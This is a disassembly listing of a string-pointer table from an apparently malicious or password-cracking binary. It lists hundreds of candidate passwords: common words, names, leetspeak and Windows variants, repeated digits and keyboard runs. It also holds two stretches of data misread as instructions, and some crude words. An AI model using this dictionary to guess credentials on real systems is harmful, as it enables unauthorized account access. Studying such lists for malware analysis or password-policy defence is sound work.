dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
; ---------------------------------------------------------------------------
mov word ptr [edx-657BFFBEh], ds
inc edx
add [edx+ebx*4+42h], bh
add [eax-66h], dh
inc edx
add [eax-66h], ch
inc edx
add [eax-66h], ah
inc edx
add [eax-66h], bl
inc edx
add [edx+ebx*4+42h], cl
add [eax-66h], al
inc edx
add [edx+ebx*4], dh
inc edx
add [edx+ebx*4], ch
inc edx
add [edx+ebx*4], ah
inc edx
add ah, ch
retf 42h
; ---------------------------------------------------------------------------
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
; ---------------------------------------------------------------------------
or [ecx-66FFFFBEh], bl
inc edx
add al, bh
cwde
inc edx
add al, dh
cwde
inc edx
add al, ch
cwde
inc edx
add al, ah
cwde
inc edx
add al, bl
cwde
inc edx
add al, dl
cwde
inc edx
add al, cl
cwde
inc edx
add [eax+ebx*4-674BFFBEh], bh
inc edx
add [eax+ebx*4-675BFFBEh], ch
inc edx
add [eax+ebx*4-676FFFBEh], bl
inc edx
add [eax-1BFFBD68h], cl
retf 42h
; ---------------------------------------------------------------------------
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_0 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_0 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset dword_428DBC
dd offset dword_428DB8
dd offset dword_428DB4
dd offset dword_428DB0
dd offset dword_428DA8
dd offset dword_428DA0
dd offset dword_428D98
dd offset dword_428D8C
dd offset loc_420927+1
dd offset dword_428D88
dd offset off_428D84
dd offset a@_6 ; "@"
dd offset a@@ ; "@@"
dd offset asc_428D78 ; "+"
dd offset asc_428D74 ; "++"
dd offset asc_428D70 ; "+++"
dd offset asc_428D68 ; "++++"
dd offset asc_428D64 ; "-"
dd offset asc_428D60 ; "--"
dd offset asc_428D60 ; "--"
dd offset asc_428D58 ; "----"
dd offset asc_428D54 ; "-+"
dd offset asc_428D4C ; "--++"
dd offset a0 ; "=-0"
dd offset a789_0 ; "789+"
dd offset a456_0 ; "456+"
dd offset asc_428D34 ; "$"
dd offset asc_428D30 ; "$$"
dd offset asc_428D2C ; "$$$"
dd offset a@_5 ; "*&^%$#@!"
dd offset a@_4 ; "&^%$#@!"
dd offset a@_3 ; "^%$#@!"
dd offset a@_2 ; "%$#@!"
dd offset a@_1 ; "$#@!"
dd offset a@_0 ; "#@!"
dd offset a@ ; "@!"
dd offset dword_42093C
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a000000000 ; "000000000"
dd offset a0000000000 ; "0000000000"
dd offset asc_4221FC ; "*"
dd offset asc_428CDC ; "**"
dd offset asc_428CD8 ; "***"
dd offset asc_428CD0 ; "****"
dd offset asc_428CC8 ; "*****"
dd offset asc_428CC0 ; "******"
dd offset asc_428CB8 ; "*******"
dd offset asc_428CAC ; "********"
dd offset asc_428CA0 ; "*********"
dd offset a001 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
